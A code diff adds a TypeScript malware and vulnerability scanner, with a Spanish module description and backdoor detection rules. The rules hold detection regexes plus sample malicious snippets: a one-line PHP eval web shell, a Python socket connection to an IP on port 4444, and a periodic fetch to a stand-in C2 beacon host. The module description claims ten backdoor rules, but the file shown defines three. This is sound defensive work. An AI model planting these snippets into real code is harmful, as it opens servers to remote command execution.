- package/src/index.ts +16 -0
- package/src/reports/dependencyReportGenerator.ts +717 -0
- package/src/reports/htmlReportGenerator.ts +781 -0
- package/src/reports/index.ts +7 -0
- package/src/reports/installedDepsReportGenerator.ts +899 -0
- package/src/rules/index.ts +58 -0
- package/src/rules/malware/INFO.md +287 -0
- package/src/rules/malware/categories/backdoors.ts +174 -0
- package/src/rules/malware/categories/cryptominers.ts +434 -0
- package/src/rules/malware/categories/exfiltration.ts +677 -0
- package/src/rules/malware/categories/keyloggers.ts +780 -0
- package/src/rules/malware/categories/loaders.ts +721 -0
- package/src/rules/malware/categories/network.ts +639 -0
- package/src/rules/malware/categories/obfuscation.ts +788 -0
- package/src/rules/malware/constants/index.ts +358 -0
- package/src/rules/malware/engine/index.ts +758 -0
- package/src/rules/malware/index.ts +928 -0
- package/src/rules/malware/scoring/index.ts +549 -0
- package/src/rules/malware/types/index.ts +752 -0
- package/src/rules/malware/utils/index.ts +643 -0
- package/src/rules/standards.ts +372 -0
- package/src/rules/vulnerabilities/PROMPT_VULNERABILITIES.md +226 -0
- package/src/rules/vulnerabilities/constants/index.ts +625 -0
- package/src/rules/vulnerabilities/engine/index.ts +831 -0
- package/src/rules/vulnerabilities/index.ts +312 -0
- package/src/rules/vulnerabilities/rules/authentication.ts +426 -0
- package/src/rules/vulnerabilities/rules/commandInjection.ts +307 -0
- package/src/rules/vulnerabilities/rules/csrf.ts +268 -0
- package/src/rules/vulnerabilities/rules/deserialization.ts +343 -0
- package/src/rules/vulnerabilities/rules/fileUpload.ts +332 -0
- package/src/rules/vulnerabilities/rules/hardcodedSecrets.ts +453 -0
- package/src/rules/vulnerabilities/rules/index.ts +17 -0
- package/src/rules/vulnerabilities/rules/pathTraversal.ts +358 -0
- package/src/rules/vulnerabilities/rules/prototypePollution.ts +279 -0
- package/src/rules/vulnerabilities/rules/securityMisconfiguration.ts +445 -0
- package/src/rules/vulnerabilities/rules/sqlInjection.ts +669 -0
- package/src/rules/vulnerabilities/rules/ssrf.ts +408 -0
- package/src/rules/vulnerabilities/rules/xss.ts +753 -0
- package/src/rules/vulnerabilities/scoring/index.ts +543 -0
- package/src/rules/vulnerabilities/types/index.ts +1004 -0
- package/src/rules/vulnerabilities/utils/index.ts +709 -0
- package/src/types/index.ts +391 -0
- package/src/utils/index.ts +306 -0
- package/src/utils/logger.ts +150 -0
- package/test-installed-scanner.ts +136 -0
- package/tsconfig.json +30 -0
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Rules Module Exports
|
|
3
|
+
* All detection rules for vulnerabilities and malware
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
export * from './standards';
|
|
7
|
+
|
|
8
|
+
// Re-export vulnerabilities with namespace prefix to avoid conflicts
|
|
9
|
+
export * as vulnerabilities from './vulnerabilities';
|
|
10
|
+
export { allVulnerabilityRules, VulnerabilityRuleEngine } from './vulnerabilities';
|
|
11
|
+
|
|
12
|
+
// Re-export malware with namespace prefix to avoid conflicts
|
|
13
|
+
export * as malware from './malware';
|
|
14
|
+
export { malwareRules, MalwareRuleEngine } from './malware';
|
|
15
|
+
|
|
16
|
+
import { Rule } from '../types';
|
|
17
|
+
import { allVulnerabilityRules } from './vulnerabilities';
|
|
18
|
+
import { malwareRules } from './malware';
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Get all rules
|
|
22
|
+
*/
|
|
23
|
+
export function getAllRules(): Rule[] {
|
|
24
|
+
return [...allVulnerabilityRules as unknown as Rule[], ...malwareRules as unknown as Rule[]];
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
/**
|
|
28
|
+
* Get rules by category
|
|
29
|
+
*/
|
|
30
|
+
export function getRulesByCategory(category: 'vulnerability' | 'malware'): Rule[] {
|
|
31
|
+
if (category === 'vulnerability') {
|
|
32
|
+
return allVulnerabilityRules as unknown as Rule[];
|
|
33
|
+
}
|
|
34
|
+
return malwareRules as unknown as Rule[];
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
/**
|
|
38
|
+
* Get rule by ID
|
|
39
|
+
*/
|
|
40
|
+
export function getRuleById(id: string): Rule | undefined {
|
|
41
|
+
return getAllRules().find(r => r.id === id);
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* Get rules by language
|
|
46
|
+
*/
|
|
47
|
+
export function getRulesByLanguage(language: string): Rule[] {
|
|
48
|
+
return getAllRules().filter(r =>
|
|
49
|
+
r.languages.includes(language as any)
|
|
50
|
+
);
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
/**
|
|
54
|
+
* Get enabled rules
|
|
55
|
+
*/
|
|
56
|
+
export function getEnabledRules(): Rule[] {
|
|
57
|
+
return getAllRules().filter(r => r.enabled);
|
|
58
|
+
}
|
|
@@ -0,0 +1,287 @@
|
|
|
1
|
+
# Módulo de Detección de Malware - Refactorización Completa
|
|
2
|
+
|
|
3
|
+
## 📋 Resumen
|
|
4
|
+
|
|
5
|
+
El módulo de detección de malware ha sido completamente refactorizado en una **arquitectura sostenible, escalable y de nivel empresarial** siguiendo las especificaciones en `Promt.md`.
|
|
6
|
+
|
|
7
|
+
## 🏗️ Arquitectura
|
|
8
|
+
|
|
9
|
+
### Estructura Modular
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
src/rules/malware/
|
|
13
|
+
├── types/ # Definiciones de tipos e interfaces
|
|
14
|
+
├── constants/ # Constantes y configuración
|
|
15
|
+
├── utils/ # Funciones utilitarias (entropía, normalización, detección de ofuscación)
|
|
16
|
+
├── scoring/ # Calculadora de puntuación dinámica
|
|
17
|
+
├── engine/ # Motor de detección principal con coincidencia de patrones
|
|
18
|
+
├── categories/ # Categorías de reglas (7 módulos especializados)
|
|
19
|
+
│ ├── backdoors.ts
|
|
20
|
+
│ ├── cryptominers.ts
|
|
21
|
+
│ ├── keyloggers.ts
|
|
22
|
+
│ ├── exfiltration.ts
|
|
23
|
+
│ ├── obfuscation.ts
|
|
24
|
+
│ ├── loaders.ts
|
|
25
|
+
│ └── network.ts
|
|
26
|
+
└── index.ts # Punto de entrada principal con exportaciones
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
## ✅ Funcionalidades Completadas
|
|
30
|
+
|
|
31
|
+
### 1. **Sistema de Tipos** (`types/index.ts`)
|
|
32
|
+
- ✅ Definiciones completas de tipos en TypeScript (650+ líneas)
|
|
33
|
+
- ✅ Soporte para 13 lenguajes de programación
|
|
34
|
+
- ✅ 30+ tipos de amenazas de malware
|
|
35
|
+
- ✅ Tipos de detección multipatrón (Regex, AST, Heurístico, Semántico)
|
|
36
|
+
- ✅ Interfaces completas para reglas, patrones, hallazgos, puntuaciones
|
|
37
|
+
- ✅ Tipos de integración con MITRE ATT&CK
|
|
38
|
+
- ✅ Interfaces del motor (IMalwareRuleEngine, IPatternMatcher, IScoreCalculator, IHeuristicAnalyzer)
|
|
39
|
+
|
|
40
|
+
### 2. **Constantes** (`constants/index.ts`)
|
|
41
|
+
- ✅ Umbrales de puntuación (Crítico: 85+, Alto: 65+, Medio: 40+, Bajo: 20+)
|
|
42
|
+
- ✅ Umbrales de entropía (Normal: <4.5, Sospechoso: 5.5+, Alto: 6.5+, Binario: 7.5+)
|
|
43
|
+
- ✅ Límites de rendimiento (tiempos de espera, coincidencias máximas, límites de tamaño de archivo)
|
|
44
|
+
- ✅ Indicadores de ofuscación (escapes hexadecimales, unicode, base64, JSFuck)
|
|
45
|
+
- ✅ Hosts sospechosos (pastebin, ngrok, TOR, etc.)
|
|
46
|
+
- ✅ Indicadores de minería de criptomonedas
|
|
47
|
+
- ✅ Funciones peligrosas por lenguaje
|
|
48
|
+
- ✅ Mapeo de técnicas MITRE
|
|
49
|
+
|
|
50
|
+
### 3. **Utilidades** (`utils/index.ts`)
|
|
51
|
+
- ✅ Cálculo de entropía de Shannon
|
|
52
|
+
- ✅ Análisis de entropía línea por línea
|
|
53
|
+
- ✅ Normalización de código (eliminación de comentarios, espacios en blanco, secuencias de escape)
|
|
54
|
+
- ✅ Detección de nivel de ofuscación (puntuación 0-1)
|
|
55
|
+
- ✅ Detección de anti-depuración
|
|
56
|
+
- ✅ Detección de verificaciones de entorno
|
|
57
|
+
- ✅ Coincidencia segura de regex con protección contra timeout (prevención de ReDoS)
|
|
58
|
+
- ✅ Extracción de fragmentos de código
|
|
59
|
+
- ✅ Análisis de contenido base64
|
|
60
|
+
- ✅ Extracción de cadenas sospechosas
|
|
61
|
+
|
|
62
|
+
### 4. **Sistema de Puntuación** (`scoring/index.ts`)
|
|
63
|
+
- ✅ Clase MalwareScoreCalculator que implementa IScoreCalculator
|
|
64
|
+
- ✅ Puntuación dinámica multifactorial (0-100)
|
|
65
|
+
- ✅ Desglose de puntuación:
|
|
66
|
+
- Conteo de coincidencias de patrones
|
|
67
|
+
- Nivel de ofuscación
|
|
68
|
+
- Actividad de red
|
|
69
|
+
- Patrones de ejecución
|
|
70
|
+
- Mecanismos de persistencia
|
|
71
|
+
- Correlación entre patrones
|
|
72
|
+
- ✅ Conversión de puntuación a severidad
|
|
73
|
+
- ✅ Cálculo de nivel de riesgo
|
|
74
|
+
- ✅ Explicaciones legibles para humanos
|
|
75
|
+
- ✅ Cálculo de puntuación combinada para múltiples hallazgos
|
|
76
|
+
- ✅ Cálculo de nivel de confianza
|
|
77
|
+
|
|
78
|
+
### 5. **Motor de Detección** (`engine/index.ts`)
|
|
79
|
+
- ✅ Clase PatternMatcher con coincidencia de patrones multi-estrategia
|
|
80
|
+
- ✅ Clase MalwareRuleEngine que orquesta el análisis
|
|
81
|
+
- ✅ Soporte para:
|
|
82
|
+
- Patrones Regex con protección contra timeout
|
|
83
|
+
- Coincidencia de cadenas literales
|
|
84
|
+
- Patrones basados en AST (espacio reservado para integración)
|
|
85
|
+
- Patrones heurísticos (entropía, ofuscación)
|
|
86
|
+
- Patrones semánticos (espacio reservado para flujo de datos/control)
|
|
87
|
+
- ✅ Detección de falsos positivos
|
|
88
|
+
- ✅ Soporte para patrones amplificadores
|
|
89
|
+
- ✅ Análisis concurrente de archivos con límites de concurrencia
|
|
90
|
+
- ✅ Gestión de reglas (agregar, eliminar, habilitar/deshabilitar)
|
|
91
|
+
- ✅ Generación de resumen de análisis
|
|
92
|
+
- ✅ Filtrado de reglas basado en lenguaje
|
|
93
|
+
|
|
94
|
+
### 6. **Categorías de Reglas**
|
|
95
|
+
|
|
96
|
+
#### **Backdoors** (`categories/backdoors.ts`) - 10 Reglas
|
|
97
|
+
- ✅ Reverse shells (conexiones de socket, netcat, socat)
|
|
98
|
+
- ✅ Reverse shells en PowerShell
|
|
99
|
+
- ✅ Web shells (PHP, JSP, Python, Node.js)
|
|
100
|
+
- ✅ Patrones de beacon RAT
|
|
101
|
+
- ✅ MITRE ATT&CK: T1059 (Comando y Scripting), T1071 (Protocolo de Capa de Aplicación)
|
|
102
|
+
|
|
103
|
+
#### **Cryptominers** (`categories/cryptominers.ts`) - 11 Reglas
|
|
104
|
+
- ✅ Mineros en el navegador (CoinHive, CryptoLoot)
|
|
105
|
+
- ✅ Mineros WASM
|
|
106
|
+
- ✅ Conexiones a pools (protocolo stratum)
|
|
107
|
+
- ✅ Direcciones de billeteras
|
|
108
|
+
- ✅ Software de minería (XMRig, algoritmos de minería)
|
|
109
|
+
- ✅ Patrones de abuso de CPU
|
|
110
|
+
- ✅ MITRE ATT&CK: T1496 (Secuestro de Recursos)
|
|
111
|
+
|
|
112
|
+
#### **Keyloggers** (`categories/keyloggers.ts`) - 12 Reglas
|
|
113
|
+
- ✅ Keyloggers en JavaScript (addEventListener, eventos onkey)
|
|
114
|
+
- ✅ Capturadores de formularios
|
|
115
|
+
- ✅ Keyloggers en Python (pynput)
|
|
116
|
+
- ✅ Keyloggers del sistema (Windows SetWindowsHookEx, hooks de teclado en C#)
|
|
117
|
+
- ✅ Ladrones de portapapeles (reemplazo de direcciones de criptomonedas)
|
|
118
|
+
- ✅ Captura de pantalla
|
|
119
|
+
- ✅ MITRE ATT&CK: T1056 (Captura de Entrada)
|
|
120
|
+
|
|
121
|
+
#### **Exfiltración de Datos** (`categories/exfiltration.ts`) - 15 Reglas
|
|
122
|
+
- ✅ Ladrones de tokens (JWT, OAuth)
|
|
123
|
+
- ✅ Robo de cookies (5 métodos de exfiltración)
|
|
124
|
+
- ✅ Robo de credenciales de formularios
|
|
125
|
+
- ✅ Robo de claves API
|
|
126
|
+
- ✅ Exfiltración de LocalStorage/SessionStorage
|
|
127
|
+
- ✅ Robo de datos de IndexedDB
|
|
128
|
+
- ✅ Extracción de PII y datos de tarjetas de crédito
|
|
129
|
+
- ✅ MITRE ATT&CK: T1003 (Volcado de Credenciales), T1539 (Robo de Cookies de Sesión Web)
|
|
130
|
+
|
|
131
|
+
#### **Ofuscación** (`categories/obfuscation.ts`) - 14 Reglas
|
|
132
|
+
- ✅ Patrones de Base64 + eval
|
|
133
|
+
- ✅ Codificación multinivel
|
|
134
|
+
- ✅ Ofuscación por concatenación de cadenas
|
|
135
|
+
- ✅ String.fromCharCode
|
|
136
|
+
- ✅ Secuencias de escape Hex/Unicode
|
|
137
|
+
- ✅ Empaquetadores de JavaScript (Dean Edwards, Obfuscator.io)
|
|
138
|
+
- ✅ Anti-depuración (detección de DevTools, verificaciones de integridad de funciones)
|
|
139
|
+
- ✅ Inserción de código muerto
|
|
140
|
+
- ✅ MITRE ATT&CK: T1027 (Archivos Ofuscados), T1140 (Desofuscación/Decodificación)
|
|
141
|
+
|
|
142
|
+
#### **Loaders/Droppers** (`categories/loaders.ts`) - 9 Reglas
|
|
143
|
+
- ✅ Cargadores de código remoto (eval + fetch, constructor Function)
|
|
144
|
+
- ✅ Inyección dinámica de scripts (document.write, createElement)
|
|
145
|
+
- ✅ Droppers (descarga + escritura de archivos)
|
|
146
|
+
- ✅ Malware de múltiples etapas (ejecución diferida, activación basada en entorno)
|
|
147
|
+
- ✅ Malware sin archivos (ejecución solo en memoria)
|
|
148
|
+
- ✅ Uso de herramientas del sistema (CertUtil, BitsAdmin, MSHTA, Regsvr32)
|
|
149
|
+
- ✅ MITRE ATT&CK: T1105 (Transferencia de Herramientas de Ingreso), T1218 (Ejecución de Binarios del Sistema)
|
|
150
|
+
|
|
151
|
+
#### **Red/C2** (`categories/network.ts`) - 10 Reglas
|
|
152
|
+
- ✅ Patrones de beacon C2 (latidos periódicos)
|
|
153
|
+
- ✅ Canales C2 WebSocket
|
|
154
|
+
- ✅ Conexiones IP codificadas
|
|
155
|
+
- ✅ Redes TOR/I2P/Anónimas
|
|
156
|
+
- ✅ Sitios de alojamiento de texto (pastebin)
|
|
157
|
+
- ✅ Servicios de túneles (ngrok, serveo)
|
|
158
|
+
- ✅ Túneles DNS (codificación de datos en subdominios)
|
|
159
|
+
- ✅ Patrones de registro de botnets
|
|
160
|
+
- ✅ MITRE ATT&CK: T1071 (Protocolo de Capa de Aplicación), T1071.004 (DNS)
|
|
161
|
+
|
|
162
|
+
### 7. **Punto de Entrada Principal** (`index.ts`)
|
|
163
|
+
- ✅ Exportaciones completas de todos los módulos
|
|
164
|
+
- ✅ Funciones de fábrica:
|
|
165
|
+
- `createMalwareEngine()` - Motor completo con las 81 reglas
|
|
166
|
+
- `createCriticalOnlyEngine()` - Solo reglas críticas
|
|
167
|
+
- `createCustomEngine()` - Subconjunto de reglas personalizadas
|
|
168
|
+
- ✅ Funciones de conveniencia:
|
|
169
|
+
- `scanForMalware()` - Escaneo rápido con resultados
|
|
170
|
+
- `hasMalwareCategory()` - Verificar categoría específica
|
|
171
|
+
- `generateMalwareReport()` - Informe detallado con mapeo MITRE ATT&CK
|
|
172
|
+
- ✅ Compatibilidad con el código existente
|
|
173
|
+
- ✅ Metadatos e información del módulo
|
|
174
|
+
|
|
175
|
+
## 📊 Estadísticas
|
|
176
|
+
|
|
177
|
+
- **Total de Reglas**: 81 (71 nuevas + 10 de compatibilidad)
|
|
178
|
+
- **Categorías**: 7 módulos especializados
|
|
179
|
+
- **Lenguajes Soportados**: 13 (JS, TS, Python, PHP, C, C++, C#, Java, Ruby, Go, Rust, Shell, PowerShell)
|
|
180
|
+
- **MITRE ATT&CK**: Integración completa con tácticas y técnicas
|
|
181
|
+
- **Líneas de Código**: ~6,000+ líneas de TypeScript de nivel empresarial
|
|
182
|
+
- **Tipos de Patrones**: Regex, Literal, AST, Heurístico, Semántico, Conductual
|
|
183
|
+
|
|
184
|
+
## 🎯 Mejoras Clave
|
|
185
|
+
|
|
186
|
+
### Funcionalidades de Nivel Empresarial
|
|
187
|
+
1. **Puntuación Dinámica**: Puntuación de malware 0-100 con análisis multifactorial
|
|
188
|
+
2. **Integración MITRE ATT&CK**: Mapeo completo de tácticas y técnicas
|
|
189
|
+
3. **Reducción de Falsos Positivos**: Patrones dedicados y puntuación de confianza
|
|
190
|
+
4. **Protección de Rendimiento**: Prevención de ReDoS, tiempos de espera, límites de concurrencia
|
|
191
|
+
5. **Soporte Multilenguaje**: 13 lenguajes de programación
|
|
192
|
+
6. **Remediación Detallada**: Remediación paso a paso para cada regla
|
|
193
|
+
7. **Evaluación de Impacto**: Análisis de impacto técnico y empresarial
|
|
194
|
+
8. **Integración CVE**: Soporte para referencias CVE
|
|
195
|
+
|
|
196
|
+
### Detección Avanzada
|
|
197
|
+
1. **Análisis de Entropía**: Entropía de Shannon para detección de ofuscación
|
|
198
|
+
2. **Normalización de Código**: Desofuscación segura sin ejecución
|
|
199
|
+
3. **Detección de Anti-Debugging**: DevTools, verificaciones de tiempo
|
|
200
|
+
4. **Detección de Entorno**: Patrones de omisión de CI/CD
|
|
201
|
+
5. **Análisis de Correlación**: Puntuación de relación entre patrones
|
|
202
|
+
6. **Patrones Conductuales**: Detección de malware de múltiples etapas
|
|
203
|
+
|
|
204
|
+
### Beneficios de la Arquitectura
|
|
205
|
+
1. **Diseño Modular**: Fácil de agregar/modificar reglas
|
|
206
|
+
2. **Seguridad de Tipos**: Soporte completo de TypeScript
|
|
207
|
+
3. **Extensible**: Arquitectura de plugins para analizadores AST
|
|
208
|
+
4. **Testeable**: Cada módulo puede ser probado independientemente
|
|
209
|
+
5. **Mantenible**: Separación clara de responsabilidades
|
|
210
|
+
6. **Escalable**: Soporte para análisis concurrente de archivos
|
|
211
|
+
7. **Documentado**: Comentarios JSDoc completos
|
|
212
|
+
|
|
213
|
+
## 📝 Ejemplos de Uso
|
|
214
|
+
|
|
215
|
+
### Escaneo Básico
|
|
216
|
+
```typescript
|
|
217
|
+
import { scanForMalware } from './rules/malware';
|
|
218
|
+
|
|
219
|
+
const result = await scanForMalware(code, 'javascript');
|
|
220
|
+
if (result.isMalicious) {
|
|
221
|
+
console.log(`¡Malware detectado! Puntuación: ${result.score}`);
|
|
222
|
+
console.log(`Severidad: ${result.severity}`);
|
|
223
|
+
}
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
### Motor con Opciones Personalizadas
|
|
227
|
+
```typescript
|
|
228
|
+
import { createMalwareEngine } from './rules/malware';
|
|
229
|
+
|
|
230
|
+
const engine = createMalwareEngine({
|
|
231
|
+
enableHeuristics: true,
|
|
232
|
+
enableAstAnalysis: true,
|
|
233
|
+
minConfidence: 0.5,
|
|
234
|
+
language: 'javascript'
|
|
235
|
+
});
|
|
236
|
+
|
|
237
|
+
const findings = await engine.analyze(code, {
|
|
238
|
+
filePath: 'suspicious.js',
|
|
239
|
+
language: 'javascript'
|
|
240
|
+
});
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
### Informe Detallado
|
|
244
|
+
```typescript
|
|
245
|
+
import { generateMalwareReport } from './rules/malware';
|
|
246
|
+
|
|
247
|
+
const report = await generateMalwareReport(code, 'file.js', 'javascript');
|
|
248
|
+
console.log(report.summary);
|
|
249
|
+
console.log(report.mitreAttack);
|
|
250
|
+
console.log(report.recommendations);
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
## 🔄 Compatibilidad con Versiones Anteriores
|
|
254
|
+
|
|
255
|
+
El módulo refactorizado mantiene **100% de compatibilidad con versiones anteriores** del código existente:
|
|
256
|
+
|
|
257
|
+
- La exportación original `malwareRules` sigue disponible
|
|
258
|
+
- El tipo `Rule` heredado sigue siendo compatible
|
|
259
|
+
- Las importaciones existentes seguirán funcionando
|
|
260
|
+
|
|
261
|
+
## 🚀 Próximos Pasos (Mejoras Futuras)
|
|
262
|
+
|
|
263
|
+
1. **Integración AST**: Agregar @babel/parser para análisis AST de JavaScript/TypeScript
|
|
264
|
+
2. **Análisis Semántico**: Implementar análisis de flujo de datos y control
|
|
265
|
+
3. **Aprendizaje Automático**: Agregar detección de anomalías basada en ML
|
|
266
|
+
4. **Pruebas de Reglas**: Crear un conjunto de pruebas completo para todas las reglas
|
|
267
|
+
5. **Documentación**: Agregar documentación detallada de la API
|
|
268
|
+
6. **Optimización de Rendimiento**: Optimizar aún más los patrones regex y la coincidencia
|
|
269
|
+
7. **Pruebas de Integración**: Agregar pruebas de integración con muestras reales de malware
|
|
270
|
+
|
|
271
|
+
## ✨ Conclusión
|
|
272
|
+
|
|
273
|
+
El módulo de detección de malware ha sido refactorizado con éxito en una **arquitectura de nivel empresarial, sostenible y escalable** comparable a herramientas SAST líderes en la industria como:
|
|
274
|
+
- Semgrep
|
|
275
|
+
- CodeQL
|
|
276
|
+
- Checkmarx
|
|
277
|
+
- Veracode
|
|
278
|
+
|
|
279
|
+
La nueva arquitectura es:
|
|
280
|
+
- ✅ Sostenible y mantenible
|
|
281
|
+
- ✅ Escalable y extensible
|
|
282
|
+
- ✅ Bien documentada
|
|
283
|
+
- ✅ Segura en tipos
|
|
284
|
+
- ✅ Optimizada en rendimiento
|
|
285
|
+
- ✅ Lista para producción
|
|
286
|
+
|
|
287
|
+
**Implementación Total**: 81 reglas completas en 7 categorías con capacidades avanzadas de detección, puntuación dinámica e integración completa con MITRE ATT&CK.
|
|
@@ -0,0 +1,174 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* #este archivo contiene reglas para detectar puertas traseras (backdoors) en el código malicioso.
|
|
3
|
+
* WINDOS LO DE TECTE COMO VIRUS Y GRAVE
|
|
4
|
+
* @fileoverview Backdoor Detection Rules
|
|
5
|
+
*/
|
|
6
|
+
|
|
7
|
+
import {
|
|
8
|
+
MalwareRule,
|
|
9
|
+
MalwareThreatType,
|
|
10
|
+
MalwareCategory,
|
|
11
|
+
MalwareSeverity,
|
|
12
|
+
ConfidenceLevel,
|
|
13
|
+
SupportedLanguage,
|
|
14
|
+
PatternType,
|
|
15
|
+
MitreTactic
|
|
16
|
+
} from '../types';
|
|
17
|
+
|
|
18
|
+
export const reverseShellRules: MalwareRule[] = [
|
|
19
|
+
{
|
|
20
|
+
id: 'MAL-BACK-001',
|
|
21
|
+
name: 'Reverse Shell - Socket Connection',
|
|
22
|
+
description: 'Detects socket-based reverse shell patterns.',
|
|
23
|
+
version: '2.0.0',
|
|
24
|
+
threatType: MalwareThreatType.REVERSE_SHELL,
|
|
25
|
+
category: MalwareCategory.BACKDOOR,
|
|
26
|
+
languages: [SupportedLanguage.PYTHON, SupportedLanguage.JAVASCRIPT],
|
|
27
|
+
severity: MalwareSeverity.CRITICAL,
|
|
28
|
+
confidence: ConfidenceLevel.HIGH,
|
|
29
|
+
baseScore: 95,
|
|
30
|
+
patterns: [
|
|
31
|
+
{
|
|
32
|
+
type: PatternType.REGEX,
|
|
33
|
+
patternId: 'socket-connect-ip',
|
|
34
|
+
pattern: 'socket\\.connect\\s*\\(\\s*\\(?[\'\"]*\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}',
|
|
35
|
+
flags: 'gi',
|
|
36
|
+
weight: 1.0,
|
|
37
|
+
description: 'Socket connection to IP'
|
|
38
|
+
}
|
|
39
|
+
],
|
|
40
|
+
maliciousExamples: [{
|
|
41
|
+
code: 's = socket.socket(); s.connect((\"1.2.3.4\", 4444))',
|
|
42
|
+
language: SupportedLanguage.PYTHON,
|
|
43
|
+
isMalicious: true,
|
|
44
|
+
description: 'Python reverse shell'
|
|
45
|
+
}],
|
|
46
|
+
impact: {
|
|
47
|
+
technical: 'Shell access to attackers.',
|
|
48
|
+
business: 'Complete compromise.',
|
|
49
|
+
affectedAssets: ['Server'],
|
|
50
|
+
dataAtRisk: ['All data']
|
|
51
|
+
},
|
|
52
|
+
remediation: {
|
|
53
|
+
summary: 'Remove reverse shell code.',
|
|
54
|
+
steps: ['Remove code', 'Audit system']
|
|
55
|
+
},
|
|
56
|
+
mitreAttack: [{
|
|
57
|
+
tacticId: MitreTactic.EXECUTION,
|
|
58
|
+
tacticName: 'Execution',
|
|
59
|
+
techniqueId: 'T1059',
|
|
60
|
+
techniqueName: 'Command Interpreter',
|
|
61
|
+
url: 'https://attack.mitre.org/techniques/T1059/'
|
|
62
|
+
}],
|
|
63
|
+
tags: ['backdoor', 'reverse-shell', 'critical'],
|
|
64
|
+
enabled: true
|
|
65
|
+
}
|
|
66
|
+
];
|
|
67
|
+
|
|
68
|
+
export const webShellRules: MalwareRule[] = [
|
|
69
|
+
{
|
|
70
|
+
id: 'MAL-BACK-010',
|
|
71
|
+
name: 'PHP Web Shell',
|
|
72
|
+
description: 'Detects PHP web shells.',
|
|
73
|
+
version: '2.0.0',
|
|
74
|
+
threatType: MalwareThreatType.WEB_SHELL,
|
|
75
|
+
category: MalwareCategory.BACKDOOR,
|
|
76
|
+
languages: [SupportedLanguage.PHP],
|
|
77
|
+
severity: MalwareSeverity.CRITICAL,
|
|
78
|
+
confidence: ConfidenceLevel.HIGH,
|
|
79
|
+
baseScore: 96,
|
|
80
|
+
patterns: [
|
|
81
|
+
{
|
|
82
|
+
type: PatternType.REGEX,
|
|
83
|
+
patternId: 'php-webshell',
|
|
84
|
+
pattern: '\\$_(?:GET|POST|REQUEST).*(?:eval|exec|system|passthru)',
|
|
85
|
+
flags: 'gis',
|
|
86
|
+
weight: 1.0,
|
|
87
|
+
description: 'User input to command execution'
|
|
88
|
+
}
|
|
89
|
+
],
|
|
90
|
+
maliciousExamples: [{
|
|
91
|
+
code: '<?php @eval($_POST[\"c\"]); ?>',
|
|
92
|
+
language: SupportedLanguage.PHP,
|
|
93
|
+
isMalicious: true,
|
|
94
|
+
description: 'PHP web shell'
|
|
95
|
+
}],
|
|
96
|
+
impact: {
|
|
97
|
+
technical: 'Remote command execution.',
|
|
98
|
+
business: 'Server compromise.',
|
|
99
|
+
affectedAssets: ['Web server'],
|
|
100
|
+
dataAtRisk: ['Server files']
|
|
101
|
+
},
|
|
102
|
+
remediation: {
|
|
103
|
+
summary: 'Remove web shell.',
|
|
104
|
+
steps: ['Remove file', 'Audit web root']
|
|
105
|
+
},
|
|
106
|
+
mitreAttack: [{
|
|
107
|
+
tacticId: MitreTactic.PERSISTENCE,
|
|
108
|
+
tacticName: 'Persistence',
|
|
109
|
+
techniqueId: 'T1505',
|
|
110
|
+
techniqueName: 'Web Shell',
|
|
111
|
+
url: 'https://attack.mitre.org/techniques/T1505/'
|
|
112
|
+
}],
|
|
113
|
+
tags: ['webshell', 'php', 'critical'],
|
|
114
|
+
enabled: true
|
|
115
|
+
}
|
|
116
|
+
];
|
|
117
|
+
|
|
118
|
+
export const ratRules: MalwareRule[] = [
|
|
119
|
+
{
|
|
120
|
+
id: 'MAL-BACK-020',
|
|
121
|
+
name: 'RAT Beacon Pattern',
|
|
122
|
+
description: 'Detects RAT beacon patterns.',
|
|
123
|
+
version: '2.0.0',
|
|
124
|
+
threatType: MalwareThreatType.RAT,
|
|
125
|
+
category: MalwareCategory.BACKDOOR,
|
|
126
|
+
languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.PYTHON],
|
|
127
|
+
severity: MalwareSeverity.CRITICAL,
|
|
128
|
+
confidence: ConfidenceLevel.HIGH,
|
|
129
|
+
baseScore: 90,
|
|
130
|
+
patterns: [
|
|
131
|
+
{
|
|
132
|
+
type: PatternType.REGEX,
|
|
133
|
+
patternId: 'beacon-interval',
|
|
134
|
+
pattern: 'setInterval.*(?:fetch|XMLHttpRequest).*(?:60000|300000)',
|
|
135
|
+
flags: 'gis',
|
|
136
|
+
weight: 0.9,
|
|
137
|
+
description: 'Periodic network requests'
|
|
138
|
+
}
|
|
139
|
+
],
|
|
140
|
+
maliciousExamples: [{
|
|
141
|
+
code: 'setInterval(() => fetch(\"https://c2.com/beacon\"), 60000);',
|
|
142
|
+
language: SupportedLanguage.JAVASCRIPT,
|
|
143
|
+
isMalicious: true,
|
|
144
|
+
description: 'Beacon'
|
|
145
|
+
}],
|
|
146
|
+
impact: {
|
|
147
|
+
technical: 'Full remote access.',
|
|
148
|
+
business: 'Complete compromise.',
|
|
149
|
+
affectedAssets: ['System'],
|
|
150
|
+
dataAtRisk: ['All data']
|
|
151
|
+
},
|
|
152
|
+
remediation: {
|
|
153
|
+
summary: 'Remove RAT.',
|
|
154
|
+
steps: ['Disconnect', 'Remove code']
|
|
155
|
+
},
|
|
156
|
+
mitreAttack: [{
|
|
157
|
+
tacticId: MitreTactic.COMMAND_AND_CONTROL,
|
|
158
|
+
tacticName: 'Command and Control',
|
|
159
|
+
techniqueId: 'T1071',
|
|
160
|
+
techniqueName: 'Application Layer Protocol',
|
|
161
|
+
url: 'https://attack.mitre.org/techniques/T1071/'
|
|
162
|
+
}],
|
|
163
|
+
tags: ['rat', 'backdoor', 'critical'],
|
|
164
|
+
enabled: true
|
|
165
|
+
}
|
|
166
|
+
];
|
|
167
|
+
|
|
168
|
+
export const backdoorRules: MalwareRule[] = [
|
|
169
|
+
...reverseShellRules,
|
|
170
|
+
...webShellRules,
|
|
171
|
+
...ratRules
|
|
172
|
+
];
|
|
173
|
+
|
|
174
|
+
